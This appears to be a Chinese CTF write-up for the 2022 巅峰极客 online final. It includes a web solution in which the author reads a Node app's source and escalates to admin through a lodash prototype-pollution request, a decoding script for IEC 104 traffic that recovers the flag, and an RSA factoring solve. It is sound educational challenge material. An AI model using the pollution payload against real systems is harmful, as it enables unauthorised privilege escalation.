2022 巅峰极客 线上决赛 部分题解

还得看我PWN爷的,WEB啥也不是,还有这个闯关模式是真坐牢。

Web

nodesystem

JS文件里有个提示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function api() {
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
var result = JSON.parse(xhr.responseText);
console.log(result);}
}

xhr.open("POST", "/api", true);
xhr.setRequestHeader('content-type', 'application/json');
var sendData = {"auth": {"name": "test", "password": "test"}, "filename" : "test.txt"};
xhr.send(JSON.stringify(sendData));
}

照着来一下,给了提示。

1
{"ok":true,"content":"1. Add Login page.\r\n2. Update API.\r\n3. Add Delete User function.\r\n4. Complete Upload attachment feature."}

发现可以读文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /api HTTP/1.1
Host: eci-2zee4fhirxbfrwsxiwga.cloudeci1.ichunqiu.com
Content-Length: 64
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
content-type: application/json
Accept: */*
Origin: http://eci-2zee4fhirxbfrwsxiwga.cloudeci1.ichunqiu.com
Referer: http://eci-2zee4fhirxbfrwsxiwga.cloudeci1.ichunqiu.com/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"auth":{"name":"test","password":"test"},"filename":"index.js"}

拿到源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
const express = require('express');
const bodyParser = require('body-parser');
const _ = require('lodash');
const app = express();
var fs = require('fs');

app.set('view engine', 'pug');
app.set('views', 'views');

app.use(bodyParser.urlencoded({extended: true}));
app.use(express.static('static'));

const users = [
{name: 'test', password: 'test'},
{name: 'admin', password: Math.random().toString(32), admin: true},
];

let messages = [];
let lastId = 1;

function findUser(auth) {
return users.find((u) =>
u.name === auth.name &&
u.password === auth.password);
}

app.use(bodyParser.json());

app.get('/users', (req, res, next) => {
const lists = users;
res.render('users', {lists: lists, pageTitle: 'List of Users', path: '/users'});
});

app.get('/', (req, res, next) => {
res.render('home', {pageTitle: 'Home', path: '/'});
});

app.post('/', (req, res, next) => {
users.push({name: req.body.name, password: req.body.password});
res.redirect('/users');
});

app.get('/message', (req, res) => {
res.send(messages);
});

app.put('/message', (req, res) => {
const user = findUser(req.body.auth || {});
console.log(req.body.auth);
console.log(user);
if (!user) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}

const message = {
avator: '= =',
};

_.merge(message, req.body.message, {
id: lastId++,
userName: user.name,
});

messages.push(message);
res.send({ok: true, message: message});
});

app.delete('/', (req, res) => {
res.send({ok: true});
});

app.post('/upload', (req, res) => {
res.send({ok: true});
});

app.post('/api', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}

filename = req.body.filename;
testFolder = "/app/";
fs.readdirSync(testFolder).forEach(file => {
if (file.indexOf(filename) > -1) {
var buffer = fs.readFileSync(filename).toString();
res.send({ok: true, content: buffer});
}
});
});

app.post('/debug', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user || !user.admin) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
var buffer = fs.readFileSync('/flag').toString();
res.send({ok: true, content: buffer});
});

app.listen(80, () => {
console.log('Listening port 80');
});

merge原型链污染,给message一个put请求构造一个admin账号,污染为admin: true即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
PUT /message HTTP/1.1
Host: eci-2zee4fhirxbfrwsxiwga.cloudeci1.ichunqiu.com
Content-Length: 64
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
content-type: application/json
Accept: */*
Origin: http://eci-2zee4fhirxbfrwsxiwga.cloudeci1.ichunqiu.com
Referer: http://eci-2zee4fhirxbfrwsxiwga.cloudeci1.ichunqiu.com/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"auth": {"name": "test", "password": "test"}, "message": {"__proto__":{"admin":true}} }

然后直接去等登陆这个账号。

Misc

babyprotocol

ICE协议分析,早在2020年出过类似的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Frame 221: 64 bytes on wire (512 bits), 64 bytes captured (512 bits) on interface \Device\NPF_Loopback, id 0
Null/Loopback
Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1
Transmission Control Protocol, Src Port: 2404, Dst Port: 62121, Seq: 7, Ack: 7, Len: 20
IEC 60870-5-104: -> I (0,1)
IEC 60870-5-101/104 ASDU: ASDU=1541 M_IT_NA_1 Spont IOA=1 'integrated totals'
TypeId: M_IT_NA_1 (15)
0... .... = SQ: False
.000 0001 = NumIx: 1
..00 0011 = CauseTx: Spont (3)
.0.. .... = Negative: False
0... .... = Test: False
OA: 0
Addr: 1541
IOA: 1
IOA: 1
Binary Counter: 102
...1 1011 = SQ: 27
..0. .... = CY: No overflow
.0.. .... = CA: Not Adjusted
0... .... = IV: Valid

IOA的值是数据的位置,Binary Counter的值是数据的ASCII值,IV是数据的有效性。

因此编写脚本取值,获取有效数据排序输出即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
data = """680407000000
68040b000000
6812000002000f0103000506010000660000001b
6812020002000f0103000506010000660000001c
6812040002000f0103000506030000610000001b
680401000600
6812060002000f01030005060b0000640000001a
6812080002000f0103000506080000620000001b
68120a0002000f01030005060c0000390000001a
680e00000c0064010601020000000014
680e0c00020064014500020000000014
68120e0002000f0103000506110000380000001b
6812100002000f0103000506150000300000001a
680401001200
6812120002000f01030005061a00006500000018
6812140002000f01030005061e00003800000017
6812160002000f01030005062700003500000017
6812180002000f01030005061800006400000017
680401001a00
68121a0002000f01030005060500007b0000001b
68121c0002000f0103000506030000610000001c
68121e0002000f01030005060500007b0000001c
6812200002000f0103000506060000360000001b
6812220002000f01030005060a0000340000001b
6812240002000f01030005060c0000390000001b
680401002600
6812260002000f0103000506140000350000001b
6812280002000f01030005061700003900000017
68122a0002000f01030005061900006300000017
68122c0002000f01030005061900006300000018
68122e0002000f01030005061b00002d00000097
680401003000
6812300002000f01030005061c00006400000018
6812320002000f01030005061e00003800000018
6812340002000f01030005062700003500000018
6812360002000f01030005061800006400000018
680401003800
680401000200
6812380002000f0103000506040000670000001b
68123a0002000f0103000506030000610000001d
68123c0002000f0103000506040000670000001c
68123e0002000f01030005060500007b0000001d
680401004000
6812400002000f0103000506060000360000001c
6812420002000f0103000506070000380000001b
6812440002000f0103000506080000620000001c
6812460002000f0103000506090000330000001b
680401004800
6812480002000f01030005060d0000320000001b
68124a0002000f01030005060e0000640000001b
68124c0002000f01030005060a0000340000001c
68124e0002000f0103000506090000330000001c
6812500002000f01030005060e0000640000001c
680401005200
6812520002000f01030005060f0000380000001a
6812540002000f01030005060f0000380000001b
6812560002000f0103000506140000350000001c
6812580002000f01030005060e0000640000001d
68125a0002000f0103000506160000330000001b
68125c0002000f01030005061900006300000019
680401005e00
68125e0002000f01030005061c00006400000019
6812600002000f01030005062700003500000019
6812620002000f0103000506270000350000001a
6812640002000f0103000506010000660000001d
6812660002000f01030005060200006c0000001b
6812680002000f0103000506030000610000001e
68126a0002000f0103000506040000670000001d
680401006a00
68126c0002000f01030005060500007b0000001e
68126e0002000f0103000506060000360000001d
6812700002000f0103000506070000380000001c
6812720002000f0103000506080000620000001d
6812740002000f0103000506090000330000001d
6812760002000f01030005060a0000340000001d
6812780002000f01030005060b0000640000001b
68127a0002000f01030005060c0000390000001c
680401007a00
68127c0002000f01030005060d0000320000001c
68127e0002000f01030005060e0000640000001e
6812800002000f01030005060f0000380000001c
6812820002000f0103000506100000610000009a
6812840002000f0103000506110000380000001c
6812860002000f0103000506120000340000001b
6812880002000f0103000506130000340000001c
68128a0002000f0103000506140000350000001d
680401008a00
68128c0002000f0103000506150000300000001b
68128e0002000f0103000506160000330000001c
6812900002000f01030005061700003900000018
6812920002000f01030005062800007d00000017
6812940002000f0103000506190000630000001a
6812960002000f01030005061a00006500000019
6812980002000f01030005061b00002d00000098
68129a0002000f01030005061c0000640000001a
680401009a00
68129c0002000f01030005061d00003600000018
68129e0002000f01030005061e00003800000019
6812a00002000f01030005061f00003100000017
6812a20002000f01030005062000003900000017
6812a40002000f01030005062100006400000016
6812a60002000f01030005062200003200000016
6812a80002000f01030005062300003300000015
6812aa0002000f01030005062400003600000016
68040100aa00
6812ac0002000f01030005062500003200000016
6812ae0002000f01030005062600006400000016
6812b00002000f0103000506270000350000001b
6812b20002000f01030005061800006400000019
6812b40002000f01030005062500003200000017
68040100b600
6812b60002000f01030005061d00003600000019
6812b80002000f0103000506060000360000001e
6812ba0002000f0103000506040000670000001e
6812bc0002000f0103000506010000660000001e
68040100be00
6812be0002000f01030005060200006c0000001c
6812c00002000f0103000506100000610000009b
6812c20002000f01030005062400003600000017
68040100c400
6812c40002000f0103000506090000330000001e
6812c60002000f0103000506100000610000009c
6812c80002000f0103000506060000360000001f
68040100ca00
6812ca0002000f01030005062200003200000017
6812cc0002000f01030005062400003600000018
6812ce0002000f01030005062600006400000017
6812d00002000f01030005062000003900000018
68040100d200
6812d20002000f01030005060200006c0000001d
6812d40002000f01030005060200006c0000001e
6812d60002000f01030005060500007b0000001f
6812d80002000f01030005060b0000640000001c
6812da0002000f0103000506110000380000001d
68040100dc00
6812dc0002000f01030005062600006400000018
6812de0002000f01030005061c0000640000001b
6812e00002000f0103000506040000670000001f
6812e20002000f0103000506080000620000001e
68040100e400
6812e40002000f01030005060d0000320000001d
6812e60002000f01030005060a0000340000001e
6812e80002000f0103000506080000620000001f
6812ea0002000f01030005061a0000650000001a
68040100ec00
6812ec0002000f01030005062000003900000019"""
dic = {}
for i in data.splitlines():
if len(i) == len("6812000002000f0103000506010000660000001b"):
index = int(i[-16:-14], 16) - 1
c = chr(int(i[-10:-8], 16))
valid = bin(int(i[-2:], 16))[2:]
if valid.zfill(8)[0] == "0":
dic[index] = c
for i in range(0, 50):
if i in dic:
print(dic[i], end="")
else:
print("", end="")

# flag{68b34d92d88445039dced6819d2362d5}

Crypto

gcd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from Crypto.Util.number import *
import libnum
import flag

m = bytes_to_long(flag)

p = getPrime(1024)
q = getPrime(1024)
n = p*q*p
e = 65537
x = inverse(n,(p-1)*(q-1))
c = pow(m,e,n)

print(n,x,c)
'''
n = 1715097516831775561161353747739509313962850384763754284193603064705990003183954750857689649540587082555847904377918426763475079170697690469267290454724999354302036981034615698694153403754870938739225201770934147845874793740053505575413463153429315475539039712818850905666950096326806695688446947957198050957270336443016980023115464136303403780696015358461369838964806435293267645492940773964907954737849962270208167145137818071024789445448292917016422004351584109968952746852305729861258178402122017513103311904147173869605944992973485253275501741635308107788593258463591060922145241960065862813218690280146883588390356662245698217956617720339878472430817614915509896516775918109916920083183701011823993137753987826242193055167215287839864164955881557719443664876504155709359476375455266912247205663953373944852046907623883953483708248467223346798885142046228485310724692353541792975390854356153906879056788972704718688261213
x = 13693034247131001247611357013365838905472128629161269384100755984286945944986882779020879733934334461215591081830359749241927901759168319107452036275703768755532293338513836146556306490425526394420440685291299327486258632666082657664827474947846307949205548526817689180357262646108048851554962291154624349603853599623877095789135051759890435127891210971940795915429197420232561510826760487552089621705187244655827668509013761027910519038664267576214742561936826964572261315984043602119812357324667105678247267841445497640859880436819217418374184256023378843611198818733281625017307272013394628328908242726204785568269
c = 1207106262178445359018459948589897274651891185968586806427714234447059397099330669443037189913958678506147447588787686432870791586266645067569198511010947847769438531195366288233395081813524859121328300315116211130908169351354477893647936383056584771268247471788727296968981371535384241445434057942795625350351461517179136190258136244456887118978348223420158887403238429201791427682781494296473806409015961385580794909106746874670027369932286414096790928966277930586468864071103687837936910843559150279603968747213779555572156135983177121194768041838538456267670795923361920648635769732101772513407467158904982779342496410211785417729464008786654808126619152228029357660596380038858050797654917902576424059433048290426186067840363899227577713800670585547473870112798624948349947633855963137174688403113603549470708467306886181387445601800049442519922530086418265660642841544022198981442640591637598035257382429976435264690303
'''

已知ed,要分解n,随便搜到个文章

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import random

import gmpy2
from Crypto.Util.number import *

n = 1715097516831775561161353747739509313962850384763754284193603064705990003183954750857689649540587082555847904377918426763475079170697690469267290454724999354302036981034615698694153403754870938739225201770934147845874793740053505575413463153429315475539039712818850905666950096326806695688446947957198050957270336443016980023115464136303403780696015358461369838964806435293267645492940773964907954737849962270208167145137818071024789445448292917016422004351584109968952746852305729861258178402122017513103311904147173869605944992973485253275501741635308107788593258463591060922145241960065862813218690280146883588390356662245698217956617720339878472430817614915509896516775918109916920083183701011823993137753987826242193055167215287839864164955881557719443664876504155709359476375455266912247205663953373944852046907623883953483708248467223346798885142046228485310724692353541792975390854356153906879056788972704718688261213
x = 13693034247131001247611357013365838905472128629161269384100755984286945944986882779020879733934334461215591081830359749241927901759168319107452036275703768755532293338513836146556306490425526394420440685291299327486258632666082657664827474947846307949205548526817689180357262646108048851554962291154624349603853599623877095789135051759890435127891210971940795915429197420232561510826760487552089621705187244655827668509013761027910519038664267576214742561936826964572261315984043602119812357324667105678247267841445497640859880436819217418374184256023378843611198818733281625017307272013394628328908242726204785568269
c = 1207106262178445359018459948589897274651891185968586806427714234447059397099330669443037189913958678506147447588787686432870791586266645067569198511010947847769438531195366288233395081813524859121328300315116211130908169351354477893647936383056584771268247471788727296968981371535384241445434057942795625350351461517179136190258136244456887118978348223420158887403238429201791427682781494296473806409015961385580794909106746874670027369932286414096790928966277930586468864071103687837936910843559150279603968747213779555572156135983177121194768041838538456267670795923361920648635769732101772513407467158904982779342496410211785417729464008786654808126619152228029357660596380038858050797654917902576424059433048290426186067840363899227577713800670585547473870112798624948349947633855963137174688403113603549470708467306886181387445601800049442519922530086418265660642841544022198981442640591637598035257382429976435264690303
e = 65537
z = x * n - 1


def divide_pq(e, z, n):
k = z * n
while True:
g = random.randint(2, n - 1)
t = k
while True:
if t % 2 != 0:
break
t //= 2
x = pow(g, t, n)
if x > 1 and gmpy2.gcd(x - 1, n) > 1:
p = gmpy2.gcd(x - 1, n)
return p, n // p


pp, q = divide_pq(e, z, n)
assert q * pp == n
p = gmpy2.iroot(pp, 2)[0]

phi = (p - 1) * p * (q - 1)
d = gmpy2.invert(e, phi)
print(long_to_bytes(pow(c, d, n)))

Refer

RSA-已知 ed 分解 n